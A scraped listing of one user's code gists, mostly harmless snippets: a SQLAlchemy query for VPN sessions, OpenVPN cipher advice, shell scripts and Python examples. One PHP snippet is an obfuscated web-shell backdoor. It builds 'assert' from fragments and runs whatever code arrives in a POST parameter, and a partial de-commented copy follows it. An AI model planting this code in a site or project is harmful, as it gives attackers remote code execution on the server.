Domain: example.com
Server Name: elaninwe
Server FQDN: elaninwe.example.com
Our user: aria
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
select_c = DBSession.query(VPNSession, | |
VPNSession.connect_date.label('ev_date'), | |
sae.literal_column("'c'").label('ev_type')) \ | |
.order_by(VPNSession.connect_date.desc()) \ | |
.limit(10) | |
select_d = DBSession.query(VPNSession, | |
VPNSession.disconnect_date.label('ev_date'), | |
sae.literal_column("'d'").label('ev_type')) \ | |
.filter(VPNSession.disconnect_date != None) \ |
Hi there,
Yes! This little code snippet will improve drasticaly the strength of your OpenVPN connection while keeping very good performances. You just have to add the code available below at the end of you configuration file.
- It may not work everywhere. @Korben (Twitter) got a problem because his server didn't support ECDHE, if you can't use this configuration then try to change ECDHE by DHE in the tls-cipher parameters. It should works but it will consume more battery if you are on a mobile/laptop because it will not use Elliptic curves to make the handshake.
- You should check if your processor have AES-NI instructions. If yes then the key generation / exchange should be protected from SPA (Simple Power Analysis) and DPA (Differencial Power Analysis) attacks and AES will be a lot faster.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; | |
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; | |
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} | |
[/*-/*-*/1/*-/*-*//*-/*-*//*-/*-*//*-/*-*//*-/*-*/]); | |
?> | |
Removed comments: | |
<?php | |
@$_="s"."s"."e"."r"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/zsh | |
size="$1" | |
input="../wallpapers/" | |
output="./wallpapers_$size/" | |
mkdir -p $output | |
walls_count=$(ls -1 $input | wc -l) | |
count=0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
killall openvpn | |
killall openvpn -9 | |
while pgrep openvpn; do | |
echo "[-] waiting for openvpn to die" | |
sleep 1 | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [[ -z $1 ]] || [[ -z $2 ]]; then | |
echo "Need at least two locations" | |
exit 1 | |
fi | |
pub=$(mktemp) | |
loc1=$1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Base(object): | |
def __init__(self): | |
print('base!') | |
super().__init__() | |
class A(Base): | |
def __init__(self): | |
print('A!') | |
super().__init__() | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
git clone https://github.com/CCrypto/tfhnode.git | |
cd tfhnode | |
vim tfhnode.ini | |
# add: db = sqlite:///tmp/tfh.sqlite | |
python setup.py develop --user | |
python tfhsetup.py --make-dbtables --make-dbdata | |
cd .. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
return \ | |
self.get_index() if get & index else \ | |
self.get() if get else \ | |
self.post_index() if post & index else \ | |
self.post() if post else \ | |
HTTPBadRequest() |